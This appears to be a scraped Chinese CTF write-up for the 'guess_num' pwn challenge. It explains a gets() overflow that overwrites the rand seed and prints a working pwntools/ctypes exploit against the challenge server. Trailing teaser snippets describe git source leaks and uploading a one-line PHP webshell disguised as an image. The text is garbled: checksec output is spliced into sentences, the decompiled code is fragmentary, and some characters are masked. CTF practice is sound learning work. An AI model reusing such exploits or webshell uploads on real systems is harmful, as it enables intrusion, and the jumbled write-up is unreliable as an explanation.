checksec guess_num
arch: amd64-64-little用ida64開啟,找到main函式,f5反編譯,可以分析得出其基本邏輯為:首先從輸入gets乙個姓名,然後用種子初始化隨機數發生器,對生成的隨機數進行處理,然後輸入乙個整數,將隨機數處理後的值與輸入數值進行比較,如果10輪比較都相同則成功,隨即呼叫relro: partial relro
stack: canary found
nx: nx enabled
pie: pie enabled
sub_c3e()
。該函式會cat flag。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
puts("success!");
} sub_c3e();
return 0ll;
}
__int64 sub_c3e()
檢視v7所在棧,發現v7的範圍
因此,只要棧溢位,將我們指定的值覆蓋到seed的部分,然後借助ctypes呼叫linux中c標準動態庫libc.so.6,就可以按我們從ida中直**到的反編譯後的**的相同結構,編寫隨機數發生器的初始化和產生隨機數的過程。
4. 通過ldd guess_num
檢視標準庫
linux-vdso.so.1 (0x00007ffef535e000)所以參考python使用ctypes與c/c++ dll檔案通訊過程介紹及例項分析匯入對應的c標準動態庫即可。libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd902bba000)
/lib64/ld-linux-x86-64.so.2 (0x00007fd9031ad000)
from ctypes import *
libc = cdll.loadlibrary('/lib/x86_64-linux-gnu/libc.so.6')
具體求解過程如下:
from pwn import *
from ctypes import *
io = remote('220.249.52.133', 51872)
# 匯入對應c標準動態庫
libc = cdll.loadlibrary("/lib/x86_64-linux-gnu/libc.so.6")
# gets到的v7需要先填滿0x30到0x11之間,也即0x20位元組,然後才會覆蓋seed的部分,因此先放0x20個a再往seed放入1
payload = "a" * 0x20 + p64(1)
io.sendline(payload)
# 用我們存入的seed值對隨機數發生器進行初始化,操作方法同ida反編譯後的main函式
libc.srand(1)
for i in range(10):
num = str(libc.rand()%6+1)
io.sendline(num)
io.interactive()
cyberpeace參考:wzsec's w
攻防世界mfw 攻防世界 Web mfw
題目資訊 image.png 工具 githack,dirsearch 知識點 git漏洞 審計 開啟題目場景,檢查 發現這樣乙個頁面 image.png 訪問.git目錄,疑似存在git原始碼洩露 image.png 再用dirsearch掃瞄,發現git原始碼洩露 使用 githack獲取原始碼...
攻防世界Web lottery
開心!雖然第一次遇到git原始碼洩露寫了好久,但是寫出來了就很開心 開啟介面我們知道,要拿到flag,就要贏到足夠的錢,其實一開始我以為可以找到乙個地方直接修改餘額什麼的,把網頁源 中的檔案看了幾個都沒發現突破口 然後又沒思路了 嘗試了一下robots.txt,想看看有沒有什麼檔案,然後發現了 瞬間...
攻防世界 xctf Guess writeup
本題的解析官網上有,這裡是乙個自動化的指令碼,完成的是自動上傳乙個ant.jpg的檔案 ant.jpg是乙個ant.zip壓縮包重新命名的檔案,裡面是乙個ant.php的一句話木馬 執行返回的是在web後台這個檔案重新命名後的檔案的url。可通過zip偽協議訪問這個木馬。指令碼如下 import r...